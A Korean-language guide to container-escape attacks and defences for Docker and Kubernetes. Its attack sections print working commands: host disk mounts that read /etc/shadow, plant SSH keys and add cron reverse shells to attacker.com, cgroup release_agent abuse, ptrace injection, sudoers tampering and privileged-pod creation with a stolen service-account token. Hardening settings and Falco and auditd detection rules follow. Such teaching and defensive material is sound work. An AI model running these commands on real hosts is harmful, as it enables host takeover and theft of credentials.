기본 원리
컨테이너는 호스트 운영체제의 커널을 공유하면서도 격리된 환경을 제공한다. 이 격리는 Linux 커널의 두 가지 핵심 메커니즘으로 구현된다.
네임스페이스(Namespaces): 프로세스, 네트워크, 마운트, UTS(호스트명), IPC, 사용자 ID 등을 격리한다. 컨테이너 내부의 PID 1은 실제 호스트에서는 다른 PID를 가진 프로세스다.
컨트롤 그룹(cgroups): CPU, 메모리, I/O 등 리소스 사용량을 제한한다.
컨테이너 탈출(Container Escape)은 이 격리 메커니즘의 약점을 이용해 컨테이너 내부에서 호스트 시스템 또는 다른 컨테이너로 접근권을 확보하는 공격이다. 탈출에 성공하면 호스트의 루트 권한을 획득하거나, Kubernetes 클러스터 전체를 장악할 수 있다.
왜 격리가 불완전한가
컨테이너는 VM(가상머신)과 달리 하이퍼바이저가 없다. 모든 컨테이너는 동일한 호스트 커널 위에서 동작하므로, 커널 취약점은 모든 컨테이너에 영향을 미친다. 또한 잘못된 설정(privileged 모드, 위험한 capability, 볼륨 마운트 등)은 격리를 직접 무력화한다.
┌─────────────────────────────────────────┐
│ Host Kernel │
├──────────────┬──────────────────────────┤
│ Container A │ Container B │
│ (격리된 뷰) │ (격리된 뷰) │
│ │ │
│ namespace │ namespace │
│ cgroups │ cgroups │
└──────────────┴──────────────────────────┘
커널은 공유됨 → 커널 취약점 = 전체 영향
주요 탈출 벡터
1. Privileged 컨테이너 악용
--privileged 플래그로 실행된 컨테이너는 호스트의 모든 디바이스에 접근할 수 있고, 거의 모든 Linux capability를 가진다. 이는 컨테이너 격리를 사실상 무효화한다.
# 취약한 컨테이너 실행 (공격자가 접근한 상태 가정)
docker run --privileged -it ubuntu /bin/bash
# 컨테이너 내부에서 호스트 파일시스템 마운트
fdisk -l # 호스트 디스크 목록 확인
# 출력: /dev/sda1, /dev/sda2 등
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# 호스트의 /etc/shadow 읽기
cat /mnt/host/etc/shadow
# 호스트에 SSH 키 추가
echo "ssh-rsa AAAA..." >> /mnt/host/root/.ssh/authorized_keys
# 호스트에서 임의 코드 실행 (cron 활용)
echo "* * * * * root bash -i >& /dev/tcp/attacker.com/4444 0>&1" \
>> /mnt/host/etc/cron.d/backdoor
이 방법으로 컨테이너 내부에서 호스트 파일시스템에 완전히 접근할 수 있다.
2. Docker 소켓 마운트
/var/run/docker.sock이 컨테이너 내부에 마운트되어 있으면, 컨테이너 내부에서 호스트의 Docker 데몬을 직접 제어할 수 있다.
# 컨테이너 내부에서 Docker 소켓 확인
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 May 3 00:00 /var/run/docker.sock
# Docker CLI 또는 curl로 새 컨테이너 생성 (호스트 루트 마운트)
docker run -v /:/mnt --rm -it ubuntu chroot /mnt
# curl로 직접 Docker API 호출 (Docker CLI 없을 때)
curl --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image":"ubuntu","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/mnt"]}}' \
http://localhost/containers/create
# 생성된 컨테이너 시작 후 exec
CONTAINER_ID=$(curl --unix-socket /var/run/docker.sock \
http://localhost/containers/json | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['Id'])")
3. 위험한 Linux Capability
컨테이너에 불필요한 capability가 부여되면 탈출이 가능하다.
CAP_SYS_ADMIN — 가장 위험한 capability. 마운트, 디바이스 접근, 커널 파라미터 변경 등을 허용한다.
# CAP_SYS_ADMIN으로 cgroups release_agent 악용
# (CVE-2022-0492 계열 기법)
# 컨테이너 내부에서 실행
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
# notify_on_release 활성화
echo 1 > /tmp/cgrp/x/notify_on_release
# 호스트에서 실행될 경로 확인
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
# 실행할 페이로드 작성
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "id > $host_path/output" >> /cmd
chmod a+x /cmd
# 트리거: cgroup에서 프로세스 제거
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# 결과 확인 (호스트의 id 명령 실행 결과)
cat /output
# uid=0(root) gid=0(root) groups=0(root)
CAP_NET_ADMIN — 네트워크 인터페이스 조작, 방화벽 규칙 변경.
CAP_SYS_PTRACE — 다른 프로세스의 메모리를 읽고 쓸 수 있다.
# CAP_SYS_PTRACE로 호스트 프로세스 인젝션
# 호스트에서 실행 중인 프로세스 PID 찾기
cat /proc/1/status # 호스트의 init/systemd
# gdb를 이용한 프로세스 인젝션
gdb -p <HOST_PID>
(gdb) call (void)system("bash -i >& /dev/tcp/attacker.com/4444 0>&1")
4. 호스트 경로 마운트
민감한 호스트 경로가 컨테이너에 마운트되면 탈출 또는 횡이동이 가능하다.
# 취약한 Kubernetes Pod 설정
apiVersion: v1
kind: Pod
spec:
containers:
- name: app
image: myapp:latest
volumeMounts:
- mountPath: /host-etc
name: host-etc
- mountPath: /var/run/docker.sock
name: docker-sock
volumes:
- name: host-etc
hostPath:
path: /etc # 호스트 /etc 마운트
- name: docker-sock
hostPath:
path: /var/run/docker.sock
# /etc가 마운트된 컨테이너에서
# sudoers 수정으로 권한 상승
echo "ALL ALL=(ALL) NOPASSWD:ALL" >> /host-etc/sudoers
# /proc/sysrq-trigger 마운트 시 시스템 재부팅 가능
echo b > /proc/sysrq-trigger
5. 커널 취약점 (CVE 기반)
컨테이너와 호스트가 커널을 공유하므로, 커널 취약점은 컨테이너 탈출에 직접 사용된다.
runc 취약점 (CVE-2019-5736): runc 바이너리 자체를 덮어쓰는 공격.
# 악성 컨테이너 이미지의 엔트리포인트
# runc가 /proc/self/exe를 통해 컨테이너를 시작할 때 이를 악용
# 개념적 설명 (실제 exploit 코드는 생략)
# 1. 컨테이너 시작 시 runc가 /proc/self/exe 링크를 따라감
# 2. 공격자가 심볼릭 링크를 조작해 runc 바이너리를 덮어씀
# 3. 다음 docker exec 시 호스트에서 임의 코드 실행
Dirty Pipe (CVE-2022-0847): Linux 5.8 이상에서 읽기 전용 파일 덮어쓰기.
// 개념적 코드 - /etc/passwd의 루트 비밀번호 제거
// pipe의 PIPE_BUF_FLAG_CAN_MERGE 플래그 버그 악용
// 실제로는 컨테이너 내부에서 호스트의 setuid 바이너리 덮어쓰기 가능
6. Kubernetes 클러스터 탈출
컨테이너에서 호스트로 나온 후, 또는 서비스 어카운트 토큰을 이용해 Kubernetes API 서버를 공격한다.
# 컨테이너 내부에서 서비스 어카운트 토큰 확인
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Kubernetes API 서버 접근
APISERVER=https://kubernetes.default.svc
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
# 클러스터 내 Pod 목록 조회
curl -s $APISERVER/api/v1/namespaces/$NAMESPACE/pods \
--header "Authorization: Bearer $TOKEN" \
--cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# 권한이 충분하다면 새로운 privileged Pod 생성
curl -s $APISERVER/api/v1/namespaces/kube-system/pods \
--header "Authorization: Bearer $TOKEN" \
--cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
-X POST \
-H "Content-Type: application/json" \
-d '{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {"name": "escape-pod"},
"spec": {
"hostPID": true,
"hostNetwork": true,
"containers": [{
"name": "escape",
"image": "ubuntu",
"securityContext": {"privileged": true},
"volumeMounts": [{"mountPath": "/host", "name": "host-root"}]
}],
"volumes": [{"name": "host-root", "hostPath": {"path": "/"}}]
}
}'
방어 방법
1. 컨테이너 런타임 보안 강화
# docker-compose.yml - 최소 권한 원칙 적용
version: '3.8'
services:
app:
image: myapp:latest
# privileged 절대 사용 금지
# user: 루트 이외의 사용자 지정
user: "1000:1000"
read_only: true # 파일시스템 읽기 전용
security_opt:
- no-new-privileges:true # setuid/setgid 비트 무효화
- seccomp:default # seccomp 프로파일 적용
- apparmor:docker-default # AppArmor 프로파일 적용
cap_drop:
- ALL # 모든 capability 제거
cap_add:
- NET_BIND_SERVICE # 필요한 것만 추가
tmpfs:
- /tmp # 임시 쓰기 필요 영역만 tmpfs로
# Kubernetes SecurityContext 설정
apiVersion: v1
kind: Pod
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
fsGroup: 2000
seccompProfile:
type: RuntimeDefault
containers:
- name: app
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop:
- ALL
2. PodSecurityAdmission (Kubernetes 1.25+)
# 네임스페이스에 보안 정책 강제 적용
apiVersion: v1
kind: Namespace
metadata:
name: production
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted
3. 런타임 보안 도구 적용
Falco — 런타임 이상 행동 탐지:
# falco-rules.yaml
- rule: Container Escape Attempt
desc: Detect privilege escalation attempts in containers
condition: >
spawned_process and container and
(proc.name in (mount, fdisk, nsenter) or
fd.name startswith /proc/sysrq or
(proc.name = chmod and proc.args contains "+s"))
output: >
Possible container escape (user=%user.name command=%proc.cmdline
container=%container.name image=%container.image.repository)
priority: CRITICAL
4. 이미지 보안
# 이미지 취약점 스캔
trivy image myapp:latest
# 루트리스 컨테이너 빌드
# Dockerfile 예시
FROM node:18-alpine
# 루트로 패키지 설치 후
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
USER appuser # 이후는 비루트로 실행
WORKDIR /app
COPY --chown=appuser:appgroup . .
5. 네트워크 정책
# Kubernetes NetworkPolicy - 기본 차단
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-all
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
탐지 방법
시스템 콜 모니터링
컨테이너 탈출은 특정 시스템 콜 패턴을 남긴다:
# strace로 의심스러운 프로세스 추적
strace -p <PID> -e trace=mount,open,execve 2>&1 | grep -E "(mount|/proc/sysrq|/dev/sd)"
# auditd 규칙 설정
cat >> /etc/audit/rules.d/container-escape.rules << 'EOF'
# 마운트 시스템콜 감사
-a always,exit -F arch=b64 -S mount -F auid>=1000 -F key=container_mount
# nsenter 실행 감사
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/nsenter -F key=nsenter
# /proc/sysrq 접근 감사
-w /proc/sysrq-trigger -p w -k sysrq_trigger
EOF
augenrules --load
Falco 기반 탐지
# Falco 설치 및 실행
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
--set falco.grpc.enabled=true \
--set falco.grpcOutput.enabled=true \
--namespace falco --create-namespace
# 탐지 이벤트 확인
kubectl logs -l app.kubernetes.io/name=falco -n falco | grep "CRITICAL\|WARNING"
컨테이너 내부 이상 징후
# 컨테이너에서 비정상적으로 마운트된 경로 확인
docker inspect <CONTAINER_ID> | jq '.[].HostConfig.Binds'
docker inspect <CONTAINER_ID> | jq '.[].HostConfig.Privileged'
# 실행 중인 컨테이너의 capability 확인
docker inspect <CONTAINER_ID> | jq '.[].HostConfig.CapAdd'
# /proc/1/mountinfo로 네임스페이스 탈출 시도 탐지
# 컨테이너 내부에서 호스트 디바이스가 보이면 위험
grep -v "overlay\|proc\|tmpfs\|sysfs\|devpts\|mqueue\|shm\|cgroup" /proc/1/mountinfo
이미지 무결성 검증
# Cosign으로 이미지 서명 검증
cosign verify --certificate-identity=signer@example.com \
--certificate-oidc-issuer=https://token.actions.githubusercontent.com \
myapp:latest
# 빌드 파이프라인에서 자동 검증
# Kubernetes admission controller (Kyverno) 예시
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: verify-image-signature
spec:
validationFailureAction: Enforce
rules:
- name: check-signature
match:
resources:
kinds: [Pod]
verifyImages:
- imageReferences: ["myregistry.io/*"]
attestors:
- entries:
- keyless:
subject: "https://github.com/myorg/*"
issuer: "https://token.actions.githubusercontent.com"
참고 도구 및 자원
| 도구/자원 | 분류 | 설명 | 링크 |
|---|---|---|---|
| Falco | 런타임 탐지 | 컨테이너 런타임 이상 행동 탐지 CNCF 프로젝트 | falco.org |
| Trivy | 취약점 스캔 | 이미지/코드/설정 취약점 스캔 | aquasecurity.github.io/trivy |
| Grype | 취약점 스캔 | Anchore의 컨테이너 이미지 취약점 스캐너 | github.com/anchore/grype |
| kube-bench | 설정 감사 | CIS Kubernetes Benchmark 자동 검사 | github.com/aquasecurity/kube-bench |
| kube-hunter | 침투 테스트 | Kubernetes 클러스터 취약점 능동 탐색 | github.com/aquasecurity/kube-hunter |
| Sysdig | 모니터링 | 컨테이너 포렌식 및 런타임 보안 | sysdig.com |
| OPA/Gatekeeper | 정책 엔진 | Kubernetes 정책 강제 적용 | openpolicyagent.org |
| Kyverno | 정책 엔진 | Kubernetes-native 정책 관리 | kyverno.io |
| Cosign | 이미지 서명 | 컨테이너 이미지 서명/검증 | sigstore.dev |
| NeuVector | 런타임 보안 | 풀스택 컨테이너 보안 플랫폼 | neuvector.com |
| CDK | 공격 도구 | 컨테이너 취약점 탐색 도구 (연구용) | github.com/cdk-team/CDK |
| deepce | 공격 도구 | Docker 탈출/권한 상승 탐색 (연구용) | github.com/stealthcopter/deepce |
⚠️ 주의사항: 이 문서에 포함된 기법과 도구는 자신이 소유하거나 명시적 허가를 받은 시스템에서만 사용해야 한다. 무단으로 타인의 컨테이너 또는 인프라에 접근하는 행위는 컴퓨터 관련 법률(정보통신망법, 정보보호법 등)에 따라 형사 처벌을 받을 수 있다. 또한 클라우드 환경에서의 탈출 시도는 서비스 약관(ToS) 위반에 해당할 수 있다. 보안 연구 목적이라도 반드시 격리된 랩 환경(로컬 Kind/Minikube, 전용 테스트 클러스터)을 사용하고, 프로덕션 시스템에는 절대 적용하지 않는다.